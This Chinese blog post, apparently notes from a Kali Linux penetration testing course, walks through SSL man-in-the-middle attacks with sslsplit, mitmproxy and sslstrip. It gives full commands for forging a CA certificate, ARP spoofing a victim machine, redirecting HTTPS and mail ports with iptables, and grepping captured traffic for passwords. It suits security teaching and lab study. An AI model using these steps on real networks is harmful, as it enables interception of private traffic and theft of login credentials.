您的位置:首页 > 运维架构 > Linux

Kali Linux渗透测试 104 SSL 中间人攻击

2018-03-26 23:08 447 查看
本文记录 Kali Linux 2018.1 学习使用和渗透测试的详细过程,教程为安全牛课堂里的《Kali Linux 渗透测试》课程

Kali Linux渗透测试(苑房弘)博客记录

1. SSL 中间人攻击
2. sslsplit
3. Mitmproxy
4. sslstrip


1. SSL 中间人攻击

攻击者未与客户端和服务器通信链路中

ARP

DHCP

修改网关

修改 dns

修改 hosts

ICMP、STP、OSPF

攻击过程



攻击的前提

客户端已经信任伪造证书颁发机构

攻击者控制了合法证书颁发机构

客户端控制了合法证书颁发机构

客户端程序禁止了显示证书错误告警信息

攻击者已经控制了客户端,并强制其信任伪造证书

2. sslsplit

简介

透明SSL中间人攻击工具

对客户端伪装成服务器,对服务器伪装成普通客户端

伪装服务器需要伪造证书,需要现在本地生成伪造证书

支持 SSL 加密的 SMTP、POP3、FTP等通信中间人攻击

利用openssl 生成证书私钥

root@kali:~# openssl genrsa -out ca.key 2048
Generating RSA private key, 2048 bit long modulus
............................................+++
...+++
e is 65537 (0x010001)


利用私钥签名生成证书

root@kali:~# openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:CN
State or Province Name (full name) [Some-State]:jilin
Locality Name (eg, city) []:changchun
Organization Name (eg, company) [Internet Widgits Pty Ltd]:alibaba
Organizational Unit Name (eg, section) []:ali
Common Name (e.g. server FQDN or YOUR name) []:alibaba
Email Address []:123456@163.com


攻击者开启路由功能

root@kali:~# vim /etc/sysctl.conf

net.ipv4.ip_forward=1

配置 iptables 规则

# 查看规则
root@kali:~# iptables -t nat -L -n

# 清空规则
root@kali:~# iptables -t nat -F

# 查看 80 和 443 端口是否有占用
root@kali:~# netstat -tulnp | grep 80
root@kali:~# netstat -tulnp | grep 443

# 编写规则
# PREROUTING:路由生效之前执行规则

# 发给 80 端口的流量转发给 8080
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080

#
4000
发给 443 端口的流量转发给 8443
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443

# MSA:邮件提交代理
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443

# SMTPS:简单邮件传输
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443

# IMAPS:接收邮件
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443

# POP3S:邮件传输
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

iptables -t nat -L -n


查看被攻击者的机器

IPv4 地址 . . . . . . . . . . . . : 10.10.10.133
子网掩码  . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 10.10.10.2
DHCP 服务器 . . . . . . . . . . . : 10.10.10.254




kali 实现 arp 欺骗

# kali IP:10.10.10.131
# kali MAC:00:0c:29:89:71:eb

# 向局域网广播,网关 10.10.10.2 的 MAC 地址为本机 的 MAC:0:c:29:89:71:eb
root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2




启动 sslsplit 进行攻击

创建目录

root@kali:~# mkdir -p /root/test/logdir/

侦听 8080 和 8443

sslsplit -D -l connect.log -j /root/test -S /root/test/logdir -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080



被攻击者访问 https 网站

https://www.taobao.com










攻击者查看捕获的内容





被攻击者访问 163 邮箱

https://mail.163.com/




root@kali:~/test/logdir# grep 456456 *




root@kali:~/test/logdir# grep password *




为了避免证书报错,可以安装根证书

将生成的 cs.crt 拷贝到 被攻击者机器上






在此访问淘宝

不再提醒证书错误




3. Mitmproxy

kali 实现 arp 欺骗

# kali IP:10.10.10.131
# kali MAC:00:0c:29:89:71:eb

# 向局域网广播,网关 10.10.10.2 的 MAC 地址为本机 的 MAC:0:c:29:89:71:eb
root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2




防火墙规则

# Mitmproxy 只支持在 8080 侦听
iptables -t nat -F
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080


mitmproxy 启动

mitmproxy -T --host -w mitmproxy.log


被攻击者登录



https://mail.163.com/




攻击者



root@kali:~# ll mitmproxy.log
-rw-r--r-- 1 root root 688868 3月  26 09:50 mitmproxy.log


4. sslstrip

简介

与前两种工具不同,将客户端到中阿金人之间的流量变为明文

sslstrip -l 8080

kali 实现 arp 欺骗

# kali IP:10.10.10.131
# kali MAC:00:0c:29:89:71:eb

# 向局域网广播,网关 10.10.10.2 的 MAC 地址为本机 的 MAC:0:c:29:89:71:eb
root@kali:~# arpspoof -i eth0 -t 10.10.10.133 -r 10.10.10.2




攻击者启动 sslstrip

root@kali:~# sslstrip -l 8080
sslstrip 0.9 by Moxie Marlinspike running...


查看日志

root@kali:~# cat sslstrip.log
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: